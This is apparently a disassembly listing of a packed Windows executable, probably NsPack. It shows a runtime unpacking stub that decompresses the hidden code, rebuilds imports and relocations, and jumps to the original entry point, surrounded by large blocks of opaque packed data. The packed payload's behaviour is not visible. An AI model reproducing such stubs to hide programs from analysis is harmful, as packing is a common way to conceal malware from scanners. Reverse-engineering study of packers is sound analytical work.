dd 0F1AB19A1h, 6CAA08CAh, 3B60CE5Ah, 343D32DAh, 0C3A68132h
dd 5AA27501h, 179084A2h, 59C457Fh, 0E09869Ah, 5251F009h
dd 94911B56h, 8AD68A8Ch, 31BB8985h, 71EC7DBFh, 486EA818h
dd 29C82B3Ch, 5E51B236h, 92F92032h, 601A047Ch, 0D0BB8CCAh
dd 0F40EC548h, 8499352h, 9AE44BEAh, 0C7218B33h, 0C91E7E51h
dd 0AC60EC06h, 747140C8h, 46DDB592h, 412912D4h, 8F369F15h
dd 0C2066EFBh, 6B5ACAEBh, 0FA900F1Bh, 758C7D3Bh, 0EB28F90Eh
dd 27F3DA11h, 5C7C240h, 90A650FFh, 730C7310h, 0D42B7DE0h
dd 5EB8499Ch, 0DA4ECEE3h, 40AB0B45h, 922DB408h, 0C9CF402Dh
dd 7F018DF6h, 0C51992Ch, 82345DE1h, 0A35C9839h, 7406A8B6h
dd 8036E24h, 743137Dh, 0A90C4E51h, 107ECEA0h, 21CFFF85h
dd 5750407Bh, 4FE85351h, 957521Fh, 881B481Bh, 0A90109BFh
dd 39C5EB14h, 736DC165h, 0ACCB6276h, 7484E4CBh, 0C45411Ah
dd 0A32D8389h, 5B10D06Ch, 46F63884h, 0FD938B89h, 40414062h
dd 62D2CD0Ch, 4B9C7E83h, 0FDC0858Fh, 0EBDA4EDCh, 1063114Eh
dd 6BDEB23h, 7D50CEC9h, 141E55B1h, 29FD285h, 0F698D65Dh
dd 0AAC7F20Dh, 0E78A136Eh, 2974B8ECh, 137F5244h, 91788A9h
dd 154E254Eh, 0EEB016Ah, 0D6604D8Bh, 79D6BA41h, 7151F066h
dd 64479640h, 685A4D11h, 0D66F6C30h, 92B91C4Dh, 9152C502h
dd 44ACEBBBh, 0D79C6A9Dh, 8AFC8428h, 0F36B6FAFh, 2B302A80h
dd 0D0DA89F1h, 91052E8h, 0C4D3B1Ch, 0EB416601h, 4C365FF3h
dd 6DFC246Bh, 421865E9h, 45251BCDh, 3C40B904h, 8D144820h
dd 18017C03h, 0D027C783h, 0B0E9C1CFh, 32E17360h, 50768D51h
dd 842596DBh, 8A420938h, 0F683A807h, 88A32C04h, 1D8859C2h
dd 0CB1EA1E7h, 6585A51Ch, 111C3289h, 783808A3h, 54E22243h
dd 25520C19h, 0D4941425h, 7041635Dh, 63696C88h, 374613Ah
dd 65206E6Fh, 7C6E8F72h, 0FBCE1229h, 0FF758B20h, 54012EB7h
dd 0C6F76568h, 7F63763Ch, 148DED64h, 0E5357325h, 6ECBF36Ch
dd 62EA74B3h, 61765F0Fh, 0DD69FE36h, 4453F164h, 4742C74Ch
dd 64826635h, 6C61372Ch, 57337A20h, 62132A9Ch, 966EB54Eh
dd 751498DBh, 331C9B73h, 0BC4D1D32h, 67613D79h, 786F4287h
dd 0BA770741h, 7478318Fh, 94149966h, 991E15Bh, 445B22F9h
dd 41A65347h, 6E706B67h, 5776C36h, 74697845h, 84C02650h
dd 0F8D843E0h, 3C6148A0h, 0E07E646Eh, 0F1707A4Fh, 0FE471858h
dd 0A14D7A74h, 1C4D6CE0h, 6956B483h, 1AFD7472h, 0AA0741BCh
dd 9D0CAE63h, 9C8C1ABh, 2BB591A9h, 1E8A6D2h, 0B6242771h
dd 5209C649h, 1854919h, 6000CC77h, 2424748Bh, 28247C8Bh
dd 3380B2FCh, 2B3A4DBh, 6DE8h, 33F67300h, 64E8C9h, 1C730000h
dd 5BE8C033h, 73000000h, 4102B323h, 4FE810B0h, 12000000h
dd 75F773C0h, 0D4EBAA3Fh, 4DE8h, 75CB2B00h, 42E810h, 28EB0000h
dd 74E8D1ACh, 0EBC9134Dh, 0C148911Ch, 0E8AC08E0h, 2Ch
dd 7D003Dh, 800A7300h, 67305FCh, 777FF883h, 95414102h
dd 1B3C58Bh, 2BF78B56h, 5EA4F3F0h, 0D2028EEBh, 168A0575h
dd 0C3D21246h, 0E841C933h, 0FFFFFFEEh, 0E7E8C913h, 72FFFFFFh
dd 7C2BC3F2h, 7C892824h, 0C2611C24h, 0Ch, 0F80E4h, 169Ch
dd 0A68h, 0F8C37h, 0F8038h, 0F803Ch, 400000h, 77E805D8h
dd 77E7A5FDh, 4F7AD2B8h, 59888DF0h, 89100012h, 548B0141h
dd 528B0424h, 0E902C60Ch, 2B05C283h, 0FC4A89CAh, 0B8C3C033h
dd 0F04F7AD2h, 58F64h, 83000000h, 535504C4h, 52565751h
dd 1212988Dh, 538B1000h, 0E88B5218h, 68406Ah, 0FF000010h
dd 6A0473h, 3104B8Bh, 0FF018BCAh, 0F88B5AD0h, 338B5250h
dd 320438Bh, 89088BC2h, 438B204Bh, 8BC2031Ch, 1C4B8908h
dd 4B8BF203h, 8DCA030Ch, 57501C43h, 5AD1FF56h, 8430358h
dd 8B52F88Bh, 0FC468BF0h, 2B04C083h, 85689F0h, 890C4B8Bh
dd 0D7FF144Eh, 12FA8589h, 0F08B1000h, 5A144B8Bh, 0CA030CEBh
dd 800068h, 57006A00h, 0C68B11FFh, 595F5E5Ah, 0E0FF5D5Bh
dd 41E9C0h, 8Ch dup(0)
dd 15h, 0
dd 0F8030h, 340AFDD8h, 0B77E79Eh, 4 dup(0)
db 0
aLoadlibraryage db 'LoadLibraryAGetProcAddressVirtualAllocVirtualFree',0
align 1000h
_nsp0 ends
; Section 2. (virtual address 000FA000)
; Virtual size : 0002042A ( 132138.)
; Section size in file : 0002042A ( 132138.)
; Offset to raw data for section: 000FA000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp1 segment para public 'CODE' use32
assume cs:_nsp1
;org 4FA000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 906h, 0
dd 0F9000h, 0
dd 400000h, 0
dd 77E60000h, 7 dup(0)
dd 320000h, 0
dd offset sub_401000
align 8
dd 1, 0
dd 136h, 6 dup(0)
dd 2, 160h, 2 dup(0)
dd 1, 0
dd offset sub_401000
dd 0
dd 1E679h, 3 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
dd 77E75CB5h, 4 dup(0)
dd 0FA0E0h, 0FA09Ch, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 4C000000h, 4C64616Fh
dd 61726269h, 417972h, 65470000h, 6F725074h, 64644163h
dd 73736572h, 56000000h, 75747269h, 72506C61h, 6365746Fh
dd 74h, 74726956h, 416C6175h, 636F6C6Ch, 56000000h, 75747269h
dd 72466C61h, 6565h, 69784500h, 6F725074h, 73736563h, 13000000h
dd 34F6023Ah
db 81h, 25h, 0C0h
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 004FA513 SIZE 00000009 BYTES
pushf
pusha
call $+5
pop ebp
sub ebp, 7
lea ecx, [ebp-0D7h]
cmp byte ptr [ecx], 1
jz loc_4FA3AF
mov byte ptr [ecx], 1
mov eax, ebp
sub eax, [ebp-143h]
mov [ebp-143h], eax
add [ebp-113h], eax
lea esi, [ebp-0CFh]
add [esi], eax
push ebp
push esi
push 40h
push 1000h
push 1000h
push 0
call dword ptr [ebp-0ABh]
test eax, eax
jz loc_4FA513
mov [ebp-11Bh], eax
call $+5
pop ebx
mov ecx, 367h
add ebx, ecx
push eax
push ebx
call sub_4FA474
pop esi
pop ebp
mov esi, [esi]
mov edi, ebp
add edi, [ebp-153h]
mov ebx, edi
cmp dword ptr [edi], 0
jnz short loc_4FA1E1
add edi, 4
mov ecx, 0
jmp short loc_4FA1F7
; ---------------------------------------------------------------------------
loc_4FA1E1: ; CODE XREF: start+82j
mov ecx, 1
add edi, [ebx]
add ebx, 4
loc_4FA1EB: ; CODE XREF: start+CFj
cmp dword ptr [ebx], 0
jz short loc_4FA224
add [ebx], edx
mov esi, [ebx]
add edi, [ebx+4]
loc_4FA1F7: ; CODE XREF: start+8Cj
push edi
push ecx
push ebx
push dword ptr [ebp-0A7h]
push dword ptr [ebp-0ABh]
mov edx, esi
mov ecx, edi
mov eax, [ebp-11Bh]
add eax, 5AAh
call eax
pop ebx
pop ecx
pop edi
cmp ecx, 0
jz short loc_4FA224
add ebx, 8
jmp short loc_4FA1EB
; ---------------------------------------------------------------------------
loc_4FA224: ; CODE XREF: start+9Bj start+CAj
push 8000h
push 0
push dword ptr [ebp-11Bh]
call dword ptr [ebp-0A7h]
lea esi, [ebp-113h]
mov ecx, [esi+8]
lea edx, [esi+10h]
mov esi, [esi]
mov edi, esi
cmp ecx, 0
jz short loc_4FA28B
loc_4FA24C: ; CODE XREF: start+100j start+10Ej
mov al, [edi]
inc edi
sub al, 0E8h
loc_4FA251: ; CODE XREF: start+136j
cmp al, 1
ja short loc_4FA24C
mov eax, [edi]
cmp byte ptr [edx+1], 0
jz short loc_4FA271
mov bl, [edx]
cmp [edi], bl
jnz short loc_4FA24C
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
jmp short loc_4FA27B
; ---------------------------------------------------------------------------
loc_4FA271: ; CODE XREF: start+108j
mov bl, [edi+4]
xchg al, ah
rol eax, 10h
xchg al, ah
loc_4FA27B: ; CODE XREF: start+11Cj
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 5
sub bl, 0E8h
mov eax, ebx
loop loc_4FA251
loc_4FA28B: ; CODE XREF: start+F7j
call sub_4FA3CA
lea ecx, [ebp-0FFh]
mov eax, [ecx+8]
cmp eax, 0
jz loc_4FA323
mov esi, edx
sub esi, [ecx+10h]
jz short loc_4FA323
mov [ecx+10h], esi
lea esi, [ebp-0CFh]
mov esi, [esi]
lea ebx, [esi-4]
mov eax, [ecx]
cmp eax, 1
jz short loc_4FA2C8
mov edi, edx
add edi, [ecx+8]
mov ecx, [ecx+10h]
jmp short loc_4FA2D0
; ---------------------------------------------------------------------------
loc_4FA2C8: ; CODE XREF: start+169j
mov edi, esi
add edi, [ecx+8]
mov ecx, [ecx+10h]
loc_4FA2D0: ; CODE XREF: start+173j start+18Ej
xor eax, eax
mov al, [edi]
inc edi
or eax, eax
jz short loc_4FA2F9
cmp al, 0EFh
ja short loc_4FA2E3
loc_4FA2DD: ; CODE XREF: start+19Dj start+1A4j
add ebx, eax
add [ebx], ecx
jmp short loc_4FA2D0
; ---------------------------------------------------------------------------
loc_4FA2E3: ; CODE XREF: start+188j
and al, 0Fh
shl eax, 10h
mov ax, [edi]
add edi, 2
or eax, eax
jnz short loc_4FA2DD
mov eax, [edi]
add edi, 4
jmp short loc_4FA2DD
; ---------------------------------------------------------------------------
loc_4FA2F9: ; CODE XREF: start+184j
xor ebx, ebx
xchg edi, esi
mov eax, [esi]
cmp eax, 0
jz short loc_4FA323
loc_4FA304: ; CODE XREF: start+1BCj
lodsd
or eax, eax
jz short loc_4FA311
add ebx, eax
add [edi+ebx], cx
jmp short loc_4FA304
; ---------------------------------------------------------------------------
loc_4FA311: ; CODE XREF: start+1B4j
xor ebx, ebx
shr ecx, 10h
loc_4FA316: ; CODE XREF: start+1CEj
lodsd
or eax, eax
jz short loc_4FA323
add ebx, eax
add [edi+ebx], cx
jmp short loc_4FA316
; ---------------------------------------------------------------------------
loc_4FA323: ; CODE XREF: start+149j start+154j ...
lea esi, [ebp-143h]
mov edx, [esi]
lea esi, [ebp-0E7h]
mov al, [esi]
cmp al, 1
jnz short loc_4FA376
add edx, [esi+4]
push esi
push edx
push esi
push 4
push 100h
push edx
call dword ptr [ebp-0AFh]
pop edi
pop esi
cmp eax, 1
jnz loc_4FA513
add esi, 8
mov ecx, 8
rep movsb
sub esi, 0Ch
sub edi, 8
push esi
push dword ptr [esi-4]
push 100h
push edi
call dword ptr [ebp-0AFh]
loc_4FA376: ; CODE XREF: start+1E2j
push ebp
pop ebx
sub ebx, 8
xor ecx, ecx
mov cl, [ebx]
cmp cl, 0
jz short loc_4FA3AF
inc ebx
lea esi, [ebp-143h]
mov edx, [esi]
loc_4FA390: ; CODE XREF: start+25Aj
push esi
push ecx
push ebx
push edx
push esi
push dword ptr [ebx]
push dword ptr [ebx+4]
mov eax, [ebx+8]
add eax, edx
push eax
call dword ptr [ebp-0AFh]
pop edx
pop ebx
pop ecx
pop esi
add ebx, 0Ch
loop loc_4FA390
loc_4FA3AF: ; CODE XREF: start+14j start+232j
mov eax, 0
cmp eax, 0
jz short loc_4FA3C3
popa
popf
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4FA3C3: ; CODE XREF: start+264j
popa
popf
jmp sub_401000
start endp
; =============== S U B R O U T I N E =======================================
sub_4FA3CA proc near ; CODE XREF: start:loc_4FA28Bp
mov esi, [ebp-14Bh]
or esi, esi
jz loc_4FA46F
mov edx, [ebp-143h]
add esi, edx
loc_4FA3E0: ; CODE XREF: sub_4FA3CA+61j
cmp dword ptr [esi], 0
jnz short loc_4FA3F3
cmp dword ptr [esi+4], 0
jnz short loc_4FA3F3
cmp dword ptr [esi+8], 0
jnz short loc_4FA3F3
jmp short loc_4FA46D
; ---------------------------------------------------------------------------
loc_4FA3F3: ; CODE XREF: sub_4FA3CA+19j
; sub_4FA3CA+1Fj ...
mov ebx, [esi+8]
add ebx, edx
push ebx
push edx
push esi
lea edi, [ebp-73h]
add edi, [esi+4]
add esi, 0Ch
push edi
call dword ptr [ebp-0B7h]
pop edi
pop edx
pop ebx
cmp eax, 0
jz short loc_4FA46F
mov [ebp-13Bh], eax
add edi, [esi]
add esi, 4
loc_4FA421: ; CODE XREF: sub_4FA3CA+A1j
xor ecx, ecx
mov cl, [esi]
cmp ecx, 0
jnz short loc_4FA42D
inc esi
jmp short loc_4FA3E0
; ---------------------------------------------------------------------------
loc_4FA42D: ; CODE XREF: sub_4FA3CA+5Ej
mov eax, edi
add edi, ecx
push edx
push ebx
push eax
cmp byte ptr [eax], 0FFh
jnz short loc_4FA441
inc eax
mov eax, [eax]
and eax, 7FFFFFFFh
loc_4FA441: ; CODE XREF: sub_4FA3CA+6Dj
mov cl, [edi]
mov byte ptr [edi], 0
push ecx
push eax
push dword ptr [ebp-13Bh]
call dword ptr [ebp-0B3h]
pop ecx
pop edx
pop ebx
pop edx
cmp eax, 0
jz short loc_4FA46F
mov [edi], cl
mov [esi-4], eax
push dword ptr [esi-4]
pop dword ptr [ebx]
add ebx, 4
inc esi
jmp short loc_4FA421
; ---------------------------------------------------------------------------
loc_4FA46D: ; CODE XREF: sub_4FA3CA+27j
clc
retn
; ---------------------------------------------------------------------------
loc_4FA46F: ; CODE XREF: sub_4FA3CA+8j
; sub_4FA3CA+4Aj ...
jmp loc_4FA513
sub_4FA3CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FA474 proc near ; CODE XREF: start+6Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 004FA50F SIZE 00000004 BYTES
push ebp
mov ebp, esp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_4FA480: ; CODE XREF: sub_4FA474+12j
movsb
loc_4FA481: ; CODE XREF: sub_4FA474+34j
; sub_4FA474+7Dj
call sub_4FA4F3
jnb short loc_4FA480
xor ecx, ecx
call sub_4FA4F3
jnb short loc_4FA4AA
xor eax, eax
call sub_4FA4F3
jnb short loc_4FA4BB
mov al, 10h
loc_4FA49C: ; CODE XREF: sub_4FA474+2Fj
call sub_4FA4F3
adc al, al
jnb short loc_4FA49C
jnz short loc_4FA4E8
stosb
jmp short loc_4FA481
; ---------------------------------------------------------------------------
loc_4FA4AA: ; CODE XREF: sub_4FA474+1Bj
call sub_4FA4FF
dec ecx
loop loc_4FA4C7
mov eax, ebp
call sub_4FA4FD
jmp short loc_4FA4E9
; ---------------------------------------------------------------------------
loc_4FA4BB: ; CODE XREF: sub_4FA474+24j
lodsb
shr eax, 1
jz short loc_4FA50F
adc ecx, 2
mov ebp, eax
jmp short loc_4FA4E9
; ---------------------------------------------------------------------------
loc_4FA4C7: ; CODE XREF: sub_4FA474+3Cj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
mov ebp, eax
call sub_4FA4FD
cmp eax, 7D00h
jnb short loc_4FA4E7
cmp eax, 500h
jnb short loc_4FA4E8
cmp eax, 7Fh
ja short loc_4FA4E9
loc_4FA4E7: ; CODE XREF: sub_4FA474+65j
inc ecx
loc_4FA4E8: ; CODE XREF: sub_4FA474+31j
; sub_4FA474+6Cj
inc ecx
loc_4FA4E9: ; CODE XREF: sub_4FA474+45j
; sub_4FA474+51j ...
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_4FA481
sub_4FA474 endp
; =============== S U B R O U T I N E =======================================
sub_4FA4F3 proc near ; CODE XREF: sub_4FA474:loc_4FA481p
; sub_4FA474+16p ...
add dl, dl
jnz short locret_4FA4FC
mov dl, [esi]
inc esi
adc dl, dl
locret_4FA4FC: ; CODE XREF: sub_4FA4F3+2j
retn
sub_4FA4F3 endp
; =============== S U B R O U T I N E =======================================
sub_4FA4FD proc near ; CODE XREF: sub_4FA474+40p
; sub_4FA474+5Bp
xor ecx, ecx
sub_4FA4FD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FA4FF proc near ; CODE XREF: sub_4FA474:loc_4FA4AAp
inc ecx
loc_4FA500: ; CODE XREF: sub_4FA4FF+Dj
call sub_4FA4F3
adc ecx, ecx
call sub_4FA4F3
jb short loc_4FA500
retn
sub_4FA4FF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FA474
loc_4FA50F: ; CODE XREF: sub_4FA474+4Aj
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_4FA474
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4FA513: ; CODE XREF: start+51j start+1FDj ...
push 0
call dword ptr [ebp-0A3h]
retn
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
inc dword ptr [eax]
mov edx, [ecx]
cmp edx, [ecx+4]
jnz short loc_4FA52F
mov dword ptr [ecx+eax*2], 2300110h
or al, 0FFh
retn
; ---------------------------------------------------------------------------
loc_4FA52F: ; CODE XREF: .nsp1:004FA523j
pop es
mov al, [edx]
inc edx
mov [ecx], edx
pusha
mov eax, [esp+4]
sbb al, 83h
popa
adc [ebx], dh
or [ebx+eax*4], cl
push esi
push ds
and [ebx], al
rol byte ptr [ecx+49h], 1
or bh, bh
push 5
jmp short loc_4FA55E
; ---------------------------------------------------------------------------
db 58h
dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
db 0C1h, 0E2h
; ---------------------------------------------------------------------------
loc_4FA55E: ; CODE XREF: .nsp1:004FA54Dj
or [ebx], cl
retn 3E4Eh
; ---------------------------------------------------------------------------
db 89h
dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh
dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch
dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h
dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh
dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h
dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h
dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h
dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h
dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh
dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h
dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h
dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h
dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h
dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh
dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh
dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h
dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h
dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h
dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h
dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh
dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
dd 0F8C41E5Fh, 80B90153h, 0
dd 5D00h, 0E6680020h, 90000001h, 5C00000Fh, 0AA310D02h
dd 0A9DD4945h, 42313640h, 2726FC04h, 289057C8h, 0C19605DFh
dd 0B9C54FF8h, 1A331BCBh, 0B0F3FD86h, 0B626D5F1h, 4BA6F514h
dd 99972769h, 8F9AE417h, 0B27E0D7Ch, 0D1D6AB50h, 5879E836h
dd 9418C663h, 2898E0DDh, 0F1C6E6ABh, 0ADA3D28Ch, 6D06E8A5h
dd 49F8993Ch, 54CB1D55h, 0D74069ACh, 2C010BAFh, 0DA21C349h
dd 0B0FCC31Ch, 214E56F7h, 6C7512CBh, 75E8FCFBh, 0B7DD0976h
dd 0E202C623h, 0E88B1DDAh, 9A2C8AFEh, 80BD3F00h, 8DBE1374h
dd 9E4378DDh, 38FAAC6Ah, 35E31B24h, 544B52E4h, 1E893B1Bh
dd 96CEFCBDh, 0C13010D6h, 1759346Dh, 782B4AC9h, 544D2D51h
dd 7A637C11h, 0A85BC1E1h, 0D9D905B7h, 2A811657h, 14B3EDD0h
dd 5A476DF4h, 193750F5h, 1811F6AEh, 0C656EC03h, 33B84079h
dd 41DA9232h, 0E296776Ah, 6FCA4608h, 0DCB78CA9h, 8F9FD49Fh
dd 430CDC09h, 0EE15DEAFh, 0B4D30161h, 0D25FCDA2h, 0E84C746Eh
dd 32EE1A21h, 0B132FC8Fh, 0A3C556F4h, 1D143E13h, 0D7188556h
dd 7F969297h, 0E49257EFh, 5C7231FAh, 12F9D5F7h, 7A2F4914h
dd 7F50C1A3h, 0DE5257ADh, 0B5CCF9C9h, 0AB33050h, 0BF495366h
dd 1BE41A55h, 12342D0h, 0BF2BA8BDh, 3608B685h, 0B2495A09h
dd 0A45FC887h, 479E54F4h, 0CC094DE6h, 298CA798h, 35EEA346h
dd 0C98029E2h, 0FE841A1Eh, 0AE29BC23h, 1D18AAB0h, 80E861C0h
dd 2DD3E747h, 36D1BF9Bh, 84CDF6ACh, 0D78C30Ah, 4ACE97E1h
dd 4C1E88F6h, 182D57h, 0BBD53716h, 991AF9A9h, 0A859D9E3h
dd 0DA56D177h, 672785D7h, 824584E3h, 62ECE7A6h, 8E83B7FFh
dd 1D1CE4EEh, 20A9DF98h, 0C3DEB9E9h, 64FAAD30h, 833A6CCh
dd 0F396FEF9h, 99932BE4h, 9A6DA603h, 0DCB49ECDh, 9D79FA8Ah
dd 25B4FA51h, 3746CF8Fh, 0E28B097Ah, 21E4EA92h, 4B3A1595h
dd 0A5E9EE7Eh, 0B8EB743Fh, 0A3B4F881h, 30C52024h, 0CBC0D6B7h
dd 76B34841h, 0AE4B7611h, 36793E56h, 84577C28h, 0BB83D80Bh
dd 460154F8h, 313AEBDBh, 0DB261C61h, 0F39371BBh, 0D803A9BCh
dd 6EDAAA59h, 0BE5CA96Bh, 7A3956D4h, 7228274Dh, 768EA56Ch
dd 0B4DD3A3Dh, 931AF9BAh, 0FDAAC153h, 0E00206AAh, 0AB7CE58Eh
dd 6BAFD551h, 137AC315h, 0E10FBFA1h, 6D277457h, 66CB7EFAh
dd 5A173E91h, 4BC3816h, 0BFEA60A0h, 20F16F2Eh, 0CB615211h
dd 0E16B6071h, 839F889Ch, 985F608Fh, 540E8DAFh, 5D1C670Eh
dd 63A92B40h, 0A2B87F00h, 48058372h, 219F2240h, 76F8911Fh
dd 0B577405Ch, 0A759BE5Ah, 564A153Fh, 11D3F513h, 778793A9h
dd 4551E709h, 7C6500A3h, 0BF74534h, 7A58078Fh, 0D591C6F6h
dd 4BDE74EEh, 1570E75Ch, 0CB178970h, 2F35DE97h, 7A6C66A2h
dd 50A08E0Ch, 3F279BA0h, 8150A8A2h, 837DFDB3h, 0A7D42653h
dd 0DD5725A4h, 0F65A710Fh, 0C7F8506Fh, 70B8EDBAh, 0D117C379h
dd 0FA21D330h, 497B9644h, 0DB14C8BEh, 232767h, 519BE2F5h
dd 0C81E5C64h, 19406511h, 4F0828FFh, 8F216750h, 28516D99h
dd 0B9909084h, 752A09E6h, 0B0E8FA12h, 2F34B924h, 8554E5C8h
dd 1D91C8C9h, 0F6371Fh, 0F93F2029h, 3F2B5DE6h, 0FE961E9h
dd 0E7F4F5F4h, 0B7FE70F7h, 2E111A33h, 8628EAB0h, 0C3FBC10Dh
dd 0A2382B4Fh, 2BA6FF8h, 0A15C7F30h, 1033EFF8h, 0D3DD4C00h
dd 0D197D710h, 88E90BC7h, 0C7964F02h, 2E13CB64h, 17973FD1h
dd 3B88AA64h, 6FF5BFACh, 0D2316472h, 0CC2072C2h, 15047D17h
dd 0F2BC7497h, 243FE70Dh, 2F2BDFACh, 922CA802h, 6EA906B3h
dd 5D73DD56h, 4082C867h, 22341CB3h, 0D1E95C55h, 45E98600h
dd 7B80916Ah, 0AEE7D4Bh, 3B3571BEh, 0C31090ABh, 0CDAC411Ch
dd 95CD40F2h, 194F2A66h, 3CBEA38Bh, 0DC6A70BBh, 6000E82Ch
dd 3C52D1C8h, 975201B6h, 0B56494A8h, 0B824AD67h, 4D2B4143h
